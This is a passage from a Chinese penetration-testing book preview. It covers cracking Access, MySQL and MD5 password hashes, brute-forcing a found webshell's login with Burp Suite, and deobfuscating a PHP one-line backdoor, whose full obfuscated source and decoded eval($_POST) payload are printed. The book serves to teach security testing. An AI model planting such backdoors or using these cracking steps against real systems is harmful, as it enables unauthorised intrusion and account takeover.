Web服務器滲透實戰(zhàn):實戰(zhàn)中常見的加密與解密_第1頁
Web服務器滲透實戰(zhàn):實戰(zhàn)中常見的加密與解密_第2頁
Web服務器滲透實戰(zhàn):實戰(zhàn)中常見的加密與解密_第3頁
Web服務器滲透實戰(zhàn):實戰(zhàn)中常見的加密與解密_第4頁
Web服務器滲透實戰(zhàn):實戰(zhàn)中常見的加密與解密_第5頁
已閱讀5頁,還剩90頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

實戰(zhàn)中常見的加密與解密第一節(jié)Access數(shù)據(jù)庫破解實戰(zhàn)第二節(jié)MySQL數(shù)據(jù)庫密碼破解第三節(jié)MD5加密與解密第四節(jié)使用BurpSuite破解Webshell密碼第五節(jié)對某加密一句話Webshell的解密第六節(jié)SSH滲透之公鑰私鑰利用第七節(jié)Hashcat密碼破解

第一節(jié)Access數(shù)據(jù)庫簡介

1.?Access數(shù)據(jù)庫的主要特點(1)存儲方式單一。(2)面向?qū)ο蟆?3)界面友好、易操作。(4)集成環(huán)境、處理多種數(shù)據(jù)信息。(5)Access支持ODBC(開發(fā)數(shù)據(jù)庫互連,OpenDataBaseConnectivity),利用Access強大的DDE(動態(tài)數(shù)據(jù)交換)和OLE(對象的聯(lián)接和嵌入)特性,可以在一個數(shù)據(jù)表中嵌入位圖、聲音、Excel表格、Word文檔,還可以建立動態(tài)的數(shù)據(jù)庫報表和窗體等。2.?Access數(shù)據(jù)庫的缺點和局限性Access是一種桌面數(shù)據(jù)庫,適合數(shù)據(jù)量少的應用,在處理少量數(shù)據(jù)和單機訪問時是很好用的,效率也很高,但在處理海量數(shù)據(jù)時效率會受到極大影響。5.1.2Access密碼實戰(zhàn)破解實例1.選擇需要破解的Access數(shù)據(jù)庫文件筆者推薦一款Access數(shù)據(jù)庫密碼破解工具——“Access數(shù)據(jù)庫特殊操作”,如圖5-1所示,運行“Access數(shù)據(jù)庫特殊操作”后,在軟件窗口中選擇“破解Access密碼”,然后在Access文件路徑中選擇需要破解的文件,也可以直接輸入Access文件路徑。2.獲取數(shù)據(jù)庫密碼單擊“破解密碼”,軟件很快就將Access數(shù)據(jù)庫的密碼給破解出來了,如圖5-2所示,Access版本為97.3.51,密碼為“91459”。3.刪除數(shù)據(jù)庫密碼在軟件窗口中單擊“刪除Access的密碼”,如果前面選擇過數(shù)據(jù)庫,則在數(shù)據(jù)庫路徑中會顯示上次所操作的數(shù)據(jù)庫,同時顯示數(shù)據(jù)庫的密碼,單擊“刪除密碼”將加密的數(shù)據(jù)庫密碼刪除掉,如圖5-3所示。除了破解Access密碼以外,該軟件還有一個實用功能可以用來壓縮數(shù)據(jù)庫大小。Access數(shù)據(jù)庫持續(xù)運行時間長了以后,文件本身會增加一些無用的信息,導致數(shù)據(jù)文件非常大,而對Access數(shù)據(jù)庫來說當數(shù)據(jù)庫大小超過30M以后就會影響性能,50M以后會嚴重影響性能,因此當數(shù)據(jù)庫太大時就需要壓縮,在該軟件主界面中單擊“壓縮Access數(shù)據(jù)庫”,如圖5-4所示,選擇數(shù)據(jù)庫文件后單擊壓縮數(shù)據(jù)庫即可。

第二節(jié)MySQL數(shù)據(jù)庫密碼破解

5.2.1MySQL加密方式(1)以MySQL323方式加密:SELECTOld_Password('');查詢結果:MYSQL323=10c886615b135b38(2)以MySQLSHA1方式加密:SELECTPassword('');查詢結果:MySQLSHA1=*A2EBAE36132928537ADA8E6D1F7C5C5886713CC2執(zhí)行結果如圖5-5所示。5.2.2MySQL數(shù)據(jù)庫文件結構1.?MySQL數(shù)據(jù)庫文件類型MySQL數(shù)據(jù)庫文件共有frm、MYD和MYI三種文件,.frm是描述表結構的文件,.MYD是表的數(shù)據(jù)文件,.MYI是表數(shù)據(jù)文件中任何索引的數(shù)據(jù)樹。2.?MySQL數(shù)據(jù)庫用戶密碼文件在MySQL數(shù)據(jù)庫中所有的設置信息默認都保存在“C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql”中,也就是安裝程序的data目錄下,如圖5-6所示,有關用戶信息的一共有三個文件即user.frm、user.MYD和user.MYI,MySQL數(shù)據(jù)庫的用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。5.2.3獲取MySQL密碼哈希值使用UltraEdit-32編輯器直接打開user.MYD文件,打開后使用二進制模式進行查看,如圖5-7所示,可以看到在root用戶后面是一串字符串,選中這些字符串將其復制到記事本中,這些字符串即為用戶加密值,即506D1427F6F61696B4501445C90624897266DAE3。注意:(1)?root后面的“*”不要復制到字符串中。(2)在有些情況下需要往后面看看,否則得到的可能不是完整的MySQLSHA1密碼,正確的密碼位數(shù)是40位。(3)如果是在JohntheRipperpasswordcracker中進行密碼破解,則需要帶“*”。5.2.4網(wǎng)站在線密碼破解(1)?破解。將獲取的MySQL密碼值放在網(wǎng)站中進行查詢,在這個網(wǎng)站中MySQL密碼破解一般都是收費的,成功破解一次需要花費0.1元。(2)?破解。是后來出現(xiàn)的一個免費破解網(wǎng)站,每次破解需要手動選擇圖形碼進行破解,破解速度快、效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。5.2.5hashcat破解hashcat支持很多種破解算法,這是一款免費的開源軟件,官方網(wǎng)站為/?hashcat/,破解命令如下:hashcat64.exe-m200myql.hashpass.dict//破解MySQL323類型hashcat64.exe-m300myql.hashpass.dict//破解MySQL4.1/MySQL5類型5.2.6JohntheRipper密碼破解JohntheRipper軟件下載地址為/john/h/john179w2.zip,JohntheRipper除了能夠破解Linux系統(tǒng)密碼外,還能破解多種文件加密格式的密碼,如圖5-8所示,在Kali下測試破解MySQL密碼。破解命令如下:Echo*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txtJohn-format=MySQL-sha1hashes.txtjohn--list=formats|grepMySQL//查看支持MySQL密碼破解的算法5.2.7使用Cain&Abel破解MySQL密碼1.將MySQL用戶密碼字符串加入到Cain破解列表使用Cain&Abel來破解MySQL數(shù)據(jù)庫用戶密碼,Cain&Abel是一個可以破解屏保、PWL密碼、共享密碼、緩存口令、遠程共享口令、SMB口令、支持VNC口令解碼、CiscoType-7口令解碼、Base64口令解碼、SQLServer7.0/2000口令解碼、RemoteDesktop口令解碼、AccessDatabase口令解碼、CiscoPIXFirewall口令解碼、CiscoMD5解碼、NTLMSessionSecurity口令解碼、IKEAggressiveModePre-SharedKeys口令解碼、Dialup口令解碼、遠程桌面口令解碼等密碼的一個綜合工具,還可以遠程破解、加載字典以及暴力破解,其Sniffer功能極其強大,幾乎可以明文捕獲一切賬號口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKEAggressiveModePre-SharedKeysauthentications等。下載Cain&Abel后,直接安裝,然后運行,在Cain&Abel主界面中單擊“Cracker”標簽,然后將用戶密碼的加密字符串“506D1427?F6F61696B4501445C90624897266DAE3”加入到MySQLHashes破解列表中,如圖5-9所示,單擊“Addtolist”,如圖5-10所示,將字符串復制到Hash輸入框中。Username可以任意輸入。2.使用字典進行破解如圖5-11所示,選中剛才添加的需要破解的字符串,然后選擇“DictionaryAttack(字典破解)”,在彈出的菜單中選擇“MySQLSHA1Hashes”方式進行破解,該方式針對的是MySQL4.1的后續(xù)版本,對于MySQL4.1以前版本則選擇“MySQLv3.23Hashes”進行破解。選擇DictionaryAttack(字典破解)”后會出現(xiàn)一個窗口,主要用于選擇字典,如圖5-12所示,在Dictionary下方右鍵單擊,可以添加一個或者多個字典文件,字典選擇完畢后可以在“Options(選項)”中進行選擇,然后單擊“Start”進行破解。破解成功后Cain會給出一些提示信息,如下所示:Plaintextofuser<none>isdatabasepasswordAttackstopped!1of1hashescracked這些信息表示加密的密碼是“databasepassword”?;氐紺ain破解主窗口中后,破解的密碼值會自動加入到“Password”列中,如圖5-13所示,便于用戶查看。3.破解探討1)字典破解跟字典強度有關單擊“開始”→“程序”→“MySQL”→“MySQLServer5.0”→“MySQLCommandLineClient”打開MySQLCommandLineClient,輸入密碼后,輸入以下代碼重新設置一個新密碼:usemyswupdateusersetpassword=password("1977-05-05")whereuser="root";flushprivileges;本試驗將原來的密碼修改為“1977-05-05”,其結果如圖5-14所示。再次使用UltraEdit-32軟件重新打開“C:\ProgramFiles\MySQL\MySQLServer5.0\data\MySQL\user.MYD”獲取其新的密碼字符串為“B046BBAF61FE3BB6F60?CA99AF39F5C2702F00D12”,然后重新選擇一個字典,在本例中選擇生成的生日字典,如圖5-15和圖5-16所示,僅選擇小寫字符串進行破解,很快就獲取了破解結果。實際結果表明使用Cain來破解MySQL密碼,如果是采用字典破解,那么破解效果跟字典強度有關,只要破解的密碼在字典中,就一定能夠破解。2)使用彩虹表進行破解在Cain中還提供彩虹表破解MySQL,在破解方式中選擇“CryptanalysisAttack”→“MySQLSHA1HashesviaRainbowTables”即可,如圖5-17和圖5-18所示,在實際測試過程中由于網(wǎng)絡上提供的SHA彩虹表格式是RTI,而Cain中使用的是RT,因此此處將下載的所有彩虹表中的文件后綴由RTI修改為RT,然后進行破解,提示信息顯示破解不成功,應該是彩虹表的格式不一樣,Cain只認它自己提供的文件格式。3)?Hash值計算器在Cain中提供了各種Hash計算,在主界面中單擊計算機圖標按鈕,即可彈出Hash計算器,在“Texttohash”中輸入需要轉換的原始值,例如輸入“12345678”,單擊“Calculate”進行計算,如圖5-19所示,可以看到14種Hash值。4)生成彩虹表在Cain的安裝目錄C:\ProgramFiles\Cain\Winrtgen中直接運行Winrtgen,如圖5-20所示,該工具為彩虹表生成器,可以很方便地生成各種類型的彩虹表值。5)設置彩虹表在圖5-20中單擊“AddTable”并在“RainbowTableproperties”中的Hash中選擇“MySQLsha1”,然后可以根據(jù)實際情況分別設置“MinLen”、“MaxLen”、“Index”、“Chainlen”、“ChainCount”以及“Noftables”的值,一般情況下僅需要設置“MinLen”、“MaxLen”以及“Noftables”的值。“Noftables”主要用來測試Hashes生成的完整度,輸入不同的值,會在Tableproperties中顯示百分比,通過嘗試來確定一共需要生成多少個表,然后單擊“Benchmark”進行時間估算,如圖5-21所示,單擊“OK”完成彩虹表生成設置。在彩虹表生成器中,單擊“Start”開始生成彩虹表,如圖5-22所示,在Status中會顯示生成彩虹表的大小和進度。6)快速破解對于16位的MySQL密碼(MySQL323加密算法)還有一種快速破解方式,編譯以下程序,直接進行破解,可以破解8位以下數(shù)字、字符等密碼。使用方法:./MySQLfast6294b50f67eda209破解效果如圖5-23所示。

第三節(jié)MD5加密與解密

5.3.1MD5加解密簡介MD5密文破解(解密)是網(wǎng)絡攻擊中一個必不可少的環(huán)節(jié),是黑客工具中的一個重要“輔助工具”。MD5解密主要用于網(wǎng)絡攻擊,在對網(wǎng)站等進行入侵過程中,有可能獲得管理員或者其他用戶的賬號和密碼值(MD5加密后的值)。獲得的密碼值有兩種情況,一種是明文,另外一種就是對明文進行了加密。5.3.2在線網(wǎng)站生成及破解MD5密碼1.通過cmd5網(wǎng)站生成MD5密碼在瀏覽器中輸入網(wǎng)址“/”,在密文框中輸入想要加密的原始密碼,然后單擊查詢即可,如圖5-24所示,原始密碼為“goodman88”,加密后的密碼值為:MD5(goodman88,32)=d5a8e0b115259023faa219f5b53ca522MD5(goodman88,16)=15259023faa219f5作為實驗數(shù)據(jù),我們再生成一組生日的md5密碼如下:MD5(19801230,32)=2540bb62336a8eb3ebc1e42ee44c8e3dMD5(19801230,16)=336a8eb3ebc1e42e2.通過cmd5網(wǎng)站破解MD5密碼在cmd5網(wǎng)站的輸入框中輸入剛才加密后的值“d5a8e0b115259023faa219f5b53ca522”,然后單擊“md5加密或解密”按鈕即可,如圖5-25所示,未能成功破解。將第二個加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”,放入cmd5網(wǎng)站進行破解,很快結果就出來了,如圖5-26所示。5.3.3使用字典暴力破解MD5密碼值1)再次生成MD5密碼值再在cmd5網(wǎng)站生成原密碼為“jimmychu246”的MD5密碼值:MD5(jimmychu246,32)=437f4fffb6b2e5aaca9fd1712b8ad282MD5(jimmychu246,16)=b6b2e5aaca9fd171直接運行MD5crack4,運行界面如圖5-28所示。2)在MD5crack4中驗證MD5值將需要破解的MD5值(437f4fffb6b2e5aaca9fd1712b8ad282)粘貼到“SingleCryptograph(破解單個密文)”輸入框中,如圖5-29所示,如果該md5值是正確的,則會在輸入框下方顯示黑色的“valid(有效)”,否則會顯示灰色的“valid”。3)使用字典進行破解在“PlaintextSetting(字符設置)”中選擇“Dictionary(字典)”,并在“No.1”、“No.2”以及“No.3”中選擇三個不同的字典,選擇完畢后,單擊“Start”按鈕開始md5破解,破解結束后會給出相應的提示,如圖5-30所示,在本案例中使用字典破解成功,在Result中顯示破解的密碼為“jimmychu246”。4)使用“CharMuster(字符集)”中的數(shù)字進行破解將上面生成的數(shù)字MD5值“336a8eb3ebc1e42e”放入單一MD5密碼破解輸入框中,選中“CharMuster”后,依次可以選擇“Number”、“l(fā)owercase”、“majuscule”、“specialchar”以及“custom”進行破解,在本例中使用數(shù)字進行破解,因此將“MinLength(最小長度)”設置為“1”,“MaxLength(最大長度)”設置為“8”,然后單擊“Start”按鈕,使用數(shù)字進行MD5破解,嘗試破解密碼為1~9999999之間的所有數(shù)字組合,如圖5-31所示,其密碼值破解成功,破解結果為“336a8eb3ebc1e42e--->[19801230]”。5.3.4MD5變異加密方法破解網(wǎng)站采用MD5變異加密,即password=md5(jiami(str)),jiami(str)定義如下:<%functionjiami(str)mima="*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW45485121WDQWD21DD5DWQ15QD1"fori=1tolen(str)newstr=newstr&Mid(str,i,1)ifi>len(mima)thennewstr=newstr&Mid(mima,i-len(mima),1)elsenewstr=newstr&Mid(mima,i,1)endifnextjiami=newstrendfunction%>原始密碼加密原理是,假如初始密碼為123456,通過jiami函數(shù)首先對初始密碼進行長度判斷,獲知長度為6,依次取一位,然后插入自定義的加密字符串。經(jīng)過加密后密碼變?yōu)?#2$3A4.5J6>,然后再對字符串1#2$3A4.5J6>進行md5加密。普通的6位密碼通過jiami算法重新加密后,將變?yōu)?2位密碼,通常的md5暴力破解基本對此無法破解。了解該加密方式后,可以針對該加密方式撰寫一段代碼,將密碼字典依次間隔插入“*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW45485121WDQWD21DD5DWQ15QD1”字符串,然后進行密碼比對,在加密表中找到相同的md5值即為破解密碼。5.3.5一次破解多個密碼將需要破解的MD5密碼全部存放到一個txt文件中,每一個密碼獨立一行,然后在MD5Crack4中單擊“破解多個密文”,選擇剛才編輯的MD5密碼文件,如圖5-33所示,選擇一種破解方式,在本案例中選擇使用數(shù)字字典進行破解,最后單擊“開始”按鈕開始破解。在MD5Crack4右下方會顯示破解結果,單擊“日志”可以查看MD5值校驗等日志信息,單擊“結果”可以查看破解的結果,如圖5-34所示,在結果中會將MD5值與原始密碼進行一一對應。

第四節(jié)使用BurpSuite破解Webshell密碼

5.4.1應用場景在滲透測試過程中,目標有可能已經(jīng)被黑客入侵過,在掃描過程中會發(fā)現(xiàn)入侵者留下的Webshell等,但Webshell一般都有密碼,如圖5-35所示,如果能夠獲取密碼,那么就能順利進入目標系統(tǒng),Webshell有一句話型的也有大馬型的,本例場景為大馬型的Webshell。5.4.2BurpSuite安裝與設置Proxy(代理)——攔截HTTP/S的代理服務器,作為一個在瀏覽器和目標應用程序之間的中間人,允許用戶攔截、查看、修改在兩個方向上的原始數(shù)據(jù)流。1.設置代理服務器BurpSuite運行需要Java支持,請先安裝Java環(huán)境,安裝Java環(huán)境后,打開IE瀏覽器,如圖5-36所示,單擊“設置”→“Internet選項”→“連接”→“局域網(wǎng)設置”→“代理服務器”,設置地址為“”,端口為“8080”。對Chrome瀏覽器則單擊“設置”→“高級設置”→“網(wǎng)絡”→“更改代理服務器設置”。2.查看BurpSuite代理狀態(tài)運行BurpSuite,單擊“Proxy”→“Options”,如圖5-37所示,代理端口是8080,狀態(tài)為正在運行,設置瀏覽器代理后,就可以成功抓取瀏覽器數(shù)據(jù)。3.攔截設置在“Proxy”中單擊“Intercept”,單擊“Interceptison”設置攔截為運行,如圖5-38所示,再次單擊“Interceptisoff”表示攔截關閉。單擊“Forward”表示放行,單擊“Drop”表示丟棄。5.4.3破解Webshell密碼1.抓取密碼信息打開目標Webshell地址/90sec.php,先隨意輸入一個密碼。提交后在BurpSuite中單擊“Forward”進行放行,在BurpSuite中抓到了兩個數(shù)據(jù)包,第一個是瀏覽器訪問Webshell所發(fā)出的GET請求包。第二個是輸入密碼之后發(fā)送的POST請求,如圖5-39所示。選中“Method”為POST的記錄,單擊右鍵在彈出的菜單中選擇“SendtoIntruder”,把第二個POST請求包發(fā)送到Intruder(入侵者)中進行破解,然后單擊“Intruder”進行設置。2.設置密碼參數(shù)在“Position”菜單頁中選擇“Attacktype”(功能類型)為默認Sniper即可,然后選中Cookie中下面部分,點擊右邊第二個Clear$按鈕,去掉$符號,然后單擊“Add$”按鈕增加破解密碼參數(shù),如圖5-40所示,需要將密碼前面的值去掉,同時需要清除Cookie后面ASPSESSIONIDCATBRDTD=EMPJNHNALLEHBHIKGGFGENCM的$符號。3.設置破解密碼字典單擊“Payloads”,這里是密碼字典的一些配置。先單擊“Clear”清除前面的密碼字典設置,然后單擊“Load”從一個文件中導入密碼。如圖5-41所示,已經(jīng)導入了密碼字典。4.設置密碼提交錯誤過濾信息單擊“Options”(選項),該頁主要設置錯誤信息的過濾,如果是錯誤的信息則繼續(xù)進行破解,需要針對不同情況進行相應設置,如圖5-42所示,單擊“Clear”清除以前的默認設置。在Webshell地址中隨便輸入一個密碼,如圖5-43所示,獲取錯誤信息的反饋頁面,并獲取錯誤關鍵字“密碼錯誤不能登錄”。在“Add”按鈕后的輸入框中輸入“密碼錯誤不能登錄”并添加,如圖5-44所示,至此密碼暴力破解設置完成。5.開始破解Webshell密碼單擊“Intruder”→“StartAttack”開始進行攻擊測試,在攻擊響應頁面中可以看到前面所設置的密碼發(fā)送的每一個請求。然后在“Status”中會返回狀態(tài),“302”代表成功,“200”代表返回正常。如圖5-45所示,密碼“00sujung”即為Webshell密碼。6.成功獲取Webshell在Webshell密碼框中輸入剛才破解的密碼“00sujung”,成功登錄Webshell,如圖5-46所示,成功破解Webshell密碼。

第五節(jié)對某加密一句話Webshell的解密

5.5.1源代碼分析在網(wǎng)站目錄下獲取的一句話后門文件,通過查看其源代碼,發(fā)現(xiàn)基本是一堆亂碼,根據(jù)經(jīng)驗判斷應該是一句話后面經(jīng)過變異以后的代碼5.5.2源代碼中用到的函數(shù)對代碼中的函數(shù)進行統(tǒng)計和去重,主要使用函數(shù)有:1.substr函數(shù)substr(string,start,length),substr函數(shù)返回字符串的一部分,參數(shù)信息如下:string必需,規(guī)定要返回其中一部分的字符串。start 必需,規(guī)定在字符串的何處開始。正數(shù)值則在字符串的指定位置開始;負數(shù)則從字符串結尾開始的指定位置開始;0值則在字符串中的第一個字符處開始。length可選,規(guī)定被返回字符串的長度,默認是直到字符串的結尾。2.str_split函數(shù)str_split(string,length),str_split()函數(shù)把字符串分割到數(shù)組中,其參數(shù):string:必需,規(guī)定要分割的字符串。length:可選,規(guī)定每個數(shù)組元素的長度,默認是1。3.stripos()函數(shù)stripos()?函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)。4.trim()函數(shù)trim()函數(shù)移除字符串兩側的空白字符或其他預定義字符。5.strlen()函數(shù)strlen()函數(shù)返回字符串的長度。6.str_replace()函數(shù)str_replace(find,replace,string,count),str_replace()函數(shù)以其他字符替換字符串中的一些字符(區(qū)分大小寫),其參數(shù)值:find:必需,規(guī)定要查找的值。replace:必需,規(guī)定替換find中的值的值。string:必需,規(guī)定被搜索的字符串。count:可選,對替換數(shù)進行計數(shù)的變量。str_replace(find,replace,string,count)換一句話來解釋就是,從string中去查找(find),然后使用replace進行替換,count是替換的次數(shù)。7.function()函數(shù)function()函數(shù)表示調(diào)用函數(shù)。5.5.3獲取Webshell密碼通過利用上面的函數(shù)對加密源代碼進行解讀:其核心代碼為$j=$y("",$b($t));base64_dec(QGV2YWwoJF9QT1NUWydwcDY0bXFh0?HJMnm53?NjgnXSk7)QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7為dbase64加密,解密后即可得到一句話加密的代碼:@eval($_POST['pp64mqa2x1rnw68']);運行結果逐條分析<?php$xN=$xN.substr("iyb42str_relgP804",5,6); //獲取str_re$lvcg=str_split("muk9aw28wltcq",6);//獲取str_reArray([0]=>muk9aw[1]=>28wltc[2]=>q)$xN=$xN.substr("l9cdplacepArBE9dk",4,5); //獲取$xN值為str_replace$jl=stripos("epxwkl7f66tfkt","jl"); //值為0無意義$t=$t.substr("tQGV2YWwJcVu4",1,6); //$t值為QGV2YW$eia7=trim("j8l2wml46reen"); //值無意義$b=$b.substr("kbase64kBDt9L6nm",1,6); //$b值為base64$ig=trim("b39w0gnuli"); //值無意義$y=$y.$xN("rY","","crYrerYa");$y=$y.str_replace("rY","","crea"); //$y值為crea$yu1=str_split("bi1b87m8a0o6x",2);Array([0]=>bi[1]=>1b[2]=>87[3]=>m8[4]=>a0[5]=>o6[6]=>x) //值無意義$t=$t.$xN("xA6x","","wxA6xoJF9"); //$t值為woJF9QGV2YWwoJF9$nd=stripos("n65t88rxn02edj3f0","nd"); //值無意義0$b=$b.$xN("wI39","","_wI39dwI39ec"); //$b值為base64_dec$h8ps=str_split("kn9j9h4mhwgf3fjip",3); //值無意義$y=$y.substr("hyte_funwViSVE4J",2,6);create_fun$yf7=strlen("uehu49g6tg5ko"); //值無意義uehu49g6tg5ko$t=$t.$xN("fp","","QfpTfp1Nfp"); //$t值QT1N累加為QGV2YWwoJF9QT1N$m9=strlen("eul604cobk"); //值無意義eul604cobk$b=$b.substr("l0W1odelA1eSnEJ",4,3);base64_decode$h0bw=trim("n3e5h0cqtokvgob8tx"); //值無意義n3e5h0cqtokvgob8tx$y=$y.$xN("yb","","cybtio"); //$y值為create_functio$s7a=rtrim("auebyc9g4t5d8k"); //值無意義auebyc9g4t5d8k$t=$t.substr("bMs0nBh83UWyd",9,4); //$t值UWyd累加為QGV2YWwoJF9QT1NUWyd$d59q=stripos("cjvuckoy5wf3otea","d59q"); //值無意義0$y=$y.substr("nD9HxQSL8ngR",9,1); //$y值為create_function$l1=str_split("agqq09gbqn1",4); //值無意義09gbqn1$t=$t.$xN("w6o4","","wcDw6o4Yw6o40");//$t值為wcDY0QGV2YWwoJF9QT1NUWydwcDY0$py=stripos("lgy8htrrv1tc3","py"); //值無意義0$t=$t.$xN("eP32","","bXFeP32h"); //$t值為bXFhQGV2YWwoJF9QT1NUWydwcDY0bXFh$xp3d=stripos("ukl0nbnx9gt3","xp3d"); //值無意義0$t=$t.substr("ikJ00HJMngxc",7,5);//$t值為QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMn$dt2b=strlen("e4a5abuajw3vlcira"); //值無意義e4a5abuajw3vlcira$t=$t.substr("cdN1Kxem53NwmEh86BS",7,4);//$t值為QGV2YWwoJF9QT1NUWydwcDY0b?XFh0HJMnm53N$ubj=strlen("wghjnft2op5kx1c086t"); //值無意義wghjnft2op5kx1c086t$t=$t.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);//$t值為QGV2YWwoJF9QT1NUWydwc?DY0bXFh0HJMnm53NjgnXSk$qx=strlen("rlqfkkftro8gfko7ya"); //值無意義rlqfkkftro8gfko7ya$t=$t.substr("r7y",1,1);//$t值為QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7$mu=rtrim("ngdxwux5vqe1"); //值無意義ngdxwux5vqe1$j=$y("",$b($t)); //關鍵值代碼:base64_dec(QGV2YWwoJF9QT1NUWydwc?DY0bXF?h0HJMnm53NjgnXSk7)$bnlp=strlen("vufy0ak1fyav"); //值無意義12$sdh=str_split("wmnjvg3c7p0m",4); //值無意義vg3c7p0m$mb=ltrim("n52p1pgaepeokf"); //值無意義n52p1pgaepeokf$e0pw=rtrim("uu4mhgp5c9pna4egq"); //值無意義uu4mhgp5c9pna4egq$ugh=trim("rcpd3o9w99tio9"); //值無意義rcpd3o9w99tio9$grck=strlen("x5rix5bp1xky7"); //值無意義13$eo6t=strlen("ddi1h14ecuyuc7d"); //值無意義15$j();//base64_dec(QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7)(),調(diào)用函數(shù)$dvnq=str_split("prm6giha1vro3604au",8); //值無意義1vro3604au$ug8=rtrim("ec8w52supb4vu8eo"); //值無意義ec8w52supb4vu8eo$rct=stripos("hxe6wo7ewd8me7dt","rct"); //值無意義0$ekqf=str_split("prf5y08e8flffw025j8",8); //值無意義$vyr=str_split("umpjcsrfg6h5nd6o45",9); //值無意義$wrf=rtrim("fyx99o7938h7ugqh"); //值無意義$q14=strlen("tc46osxl1st1ic2"); //值無意義functiono(){};$usf=strlen("fltcpxb7tfbjsmt"); //值無意義?>

第六節(jié)SSH滲透之公鑰私鑰利用

5.6.1公私鑰簡介1.公鑰和私鑰的概念在現(xiàn)代密碼體制中加密和解密是采用不同的密鑰(公開密鑰),也就是公開密鑰算法(也叫非對稱算法、雙鑰算法),每個通信方均需要兩個密鑰,即公鑰和私鑰,這兩把密鑰可以互為加解密。2.公鑰和私鑰使用原則(1)一個公鑰對應一個私鑰。(2)密鑰對中,讓大家都知道的是公鑰;只有自己知道的,是私鑰。(3)如果用其中一個密鑰加密數(shù)據(jù),則只有對應的那個密鑰才可以解密。(4)如果用其中一個密鑰進行解密數(shù)據(jù),則該數(shù)據(jù)必然是對應的那個密鑰進行的加密。(5)非對稱密鑰密碼的主要應用就是公鑰加密和公鑰認證,而公鑰加密的過程和公鑰認證的過程是不一樣的。3.基于公開密鑰的加密過程比如有兩個用戶Alice和Bob,Alice想把一段明文通過雙鑰加密的技術發(fā)送給Bob,Bob有一對公鑰和私鑰,那么加密解密的過程如下:(1)?Bob將他的公開密鑰傳送給Alice。(2)?Alice用Bob的公開密鑰加密她的消息,然后傳送給Bob。(3)?Bob用他的私人密鑰解密Alice的消息。4.基于公開密鑰的認證過程身份認證和加密就不同了,主要用戶來鑒別用戶的真?zhèn)?。只要能夠鑒別一個用戶的私鑰,就可以鑒別這個用戶的真?zhèn)巍?.公鑰、私鑰、證書的生成(1)一個HTTPS服務器首先創(chuàng)建自己的密鑰對(keypair),包含公鑰和私鑰。(2)通過網(wǎng)絡把公鑰送到CA中心,公鑰中包含了個人鑒別信息(名字、地址、所用設備的序列號等)。(3)?CA中心創(chuàng)建并簽署一個包含公鑰及個人信息的證書,從而保證密鑰的確實性。(4)使用該證書的用戶可以通過檢驗CA中心的簽名(檢驗CA簽名需要CA的公鑰)來驗證證書的確實性。6.公鑰、私鑰、證書的使用在HTTPS協(xié)議的握手階段是公鑰、私鑰、證書的典型使用場景。HTTPS握手的典型時序圖如圖5-49所示。圖中實線部分是必須的,虛線部分是可選的。該流程完成了兩個任務:服務器身份的驗證和加密傳輸對稱加密密鑰。5.6.2使用ssh-keygen生成公私鑰1.?ssh-keygen使用參數(shù)介紹ssh-keygen官方定義為生成、管理和轉換認證密鑰,使用“manssh-keygen”可以獲取其詳細的使用幫助信息。(1)原始參數(shù)。ssh-keygen[-q][-bbits][-tdsa|ecdsa|ed25519|rsa|rsa1][-Nnew_passphrase][-Ccomment][-foutput_keyfile]ssh-keygen-p[-Pold_passphrase][-Nnew_passphrase][-fkeyfile]ssh-keygen-i[-mkey_format][-finput_keyfile]ssh-keygen-e[-mkey_format][-finput_keyfile]ssh-keygen-y[-finput_keyfile]ssh-keygen-c[-Ppassphrase][-Ccomment][-fkeyfile]ssh-keygen-l[-v][-Efingerprint_hash][-finput_keyfile]ssh-keygen-B[-finput_keyfile]ssh-keygen-Dpkcs11ssh-keygen-Fhostname[-fknown_hosts_file][-l]ssh-keygen-H[-fknown_hosts_file]ssh-keygen-Rhostname[-fknown_hosts_file]ssh-keygen-rhostname[-finput_keyfile][-g]ssh-keygen-Goutput_file[-v][-bbits][-Mmemory][-Sstart_point]ssh-keygen-Toutput_file-finput_file[-v][-arounds][-Jnum_lines][-jstart_line][-Kcheckpt][-Wgenerator]ssh-keygen-sca_key-Icertificate_identity[-h][-nprincipals][-Ooption][-Vvalidity_interval][-zserial_number]file...ssh-keygen-L[-finput_keyfile]ssh-keygen-Assh-keygen-k-fkrl_file[-u][-sca_public][-zversion_number]file...ssh-keygen-Q-fkrl_filefile...(2)參數(shù)解讀。-B:顯示指定的公鑰/私鑰文件的bubblebabble摘要。-bbits:指定生成密鑰的長度。對于RSA密鑰,最小要求1024位,默認是2048位。一般來講2048位是足夠的。DSA密鑰必須恰好是1024位(FIPS186-2標準的要求)。ECDSA密鑰將會從256、384、521位中進行選擇。例如生成384位的ECDSA密鑰:ssh-keygen-tECDSA-b384。-Ccomment:提供一個新注釋。-c:要求修改私鑰和公鑰文件中的注釋。-Dpkcs11:下載PKCS#11接口的RSA公鑰,舊參數(shù)是reader,下載存儲在智能卡reader里的RSA公鑰。-E:指紋哈希算法,指定顯示的指紋算法,默認是sha256,可以指定為md5或者sha256。-e:讀取OpenSSH的私鑰或公鑰文件,并默認以RFC4716SSH公鑰文件格式在控制臺上顯示出來,可以配合?-m參數(shù)使用。-m私鑰格式:為i(導入)或e(導出)轉換選項指定密鑰格式。-F主機名:在known_hosts文件中搜索指定的hostname,并列出所有的匹配項。-ffilename:指定密鑰文件名。-Go